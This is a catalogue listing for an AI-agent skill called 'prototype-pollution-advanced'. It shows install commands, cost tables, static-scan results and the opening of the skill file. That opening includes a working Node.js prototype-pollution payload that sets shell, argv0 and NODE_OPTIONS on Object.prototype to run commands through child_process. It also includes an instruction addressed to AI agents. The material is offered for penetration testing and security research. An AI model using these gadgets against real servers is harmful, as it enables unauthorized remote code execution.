HackSkills is an organized knowledge base of installable skills that gives AI agents practical security knowledge across areas such as web security, privilege escalation, reverse engineering, and digital forensics. It is intended for bug bounty work, penetration testing, CTF competitions, and authorized security research. The catalogue entries are the project's own master, category, and topic skills.
Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/yaklang/hack-skillsnpx agentmods add skills/yaklang/hack-skills/prototype-pollution-advancedWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/yaklang/hack-skills/prototype-pollution-advanced)<a href="https://agentmods.dev/skills/yaklang/hack-skills/prototype-pollution-advanced"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/prototype-pollution-advanced/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/yaklang/hack-skills/prototype-pollution-advanced"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/prototype-pollution-advanced.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- Socket warn
- Snyk fail
- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00059 | $0.03030 |
| Opus 5 | $0.00030 | $0.01515 |
| Sonnet 5 | $0.00012 | $0.00606 |
| Haiku 4.5 | $0.00006 | $0.00303 |
Grade A, and why
prototype-pollution-advanced scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
> **AI LOAD INSTRUCTION**: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, a Copies of this mod
3 near-identical copies found in the catalogue:
- prototype-pollution-advanced — 100% identical, 0 lines differ
- prototype-pollution-advanced — 100% identical, 0 lines differ
- prototype-pollution-advanced — 94% identical, 4 lines differ
How it starts
The opening of the file, as written. The whole thing — 339 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation
AI LOAD INSTRUCTION: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load ../prototype-pollution/SKILL.md first for fundamentals (merge sinks,
__proto__vsconstructor.prototype, basic probes).
0. RELATED ROUTING
- prototype-pollution — LOAD FIRST for PP fundamentals, merge-sink detection, basic probes
- ssti-server-side-template-injection — template engine RCE context (PP often triggers through template gadgets)
- xss-cross-site-scripting — client-side PP gadgets ultimately achieve XSS
Advanced Reference
Load KNOWN_GADGETS.md for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.
1. SERVER-SIDE PP → RCE
1.1 Node.js child_process.spawn — Shell/ENV Injection
When child_process.spawn or child_process.fork is called without explicit env/shell options, it inherits from Object.prototype:
// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls'); // inherits shell, env from prototype
// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code
Alternative ENV pollution:
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}
1.2 EJS (Embedded JavaScript Templates)
EJS render() reads opts from object properties. Polluting outputFunctionName injects code into the compiled template function:
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 339 lines · 59 tokens per session scan A 10b2f3c19818
prototype-pollution-advanced is a skill published in the GitHub repository yaklang/hack-skills (2,143 stars, last pushed 2mo ago), licensed MIT. It adds 59 tokens to every session and 3,030 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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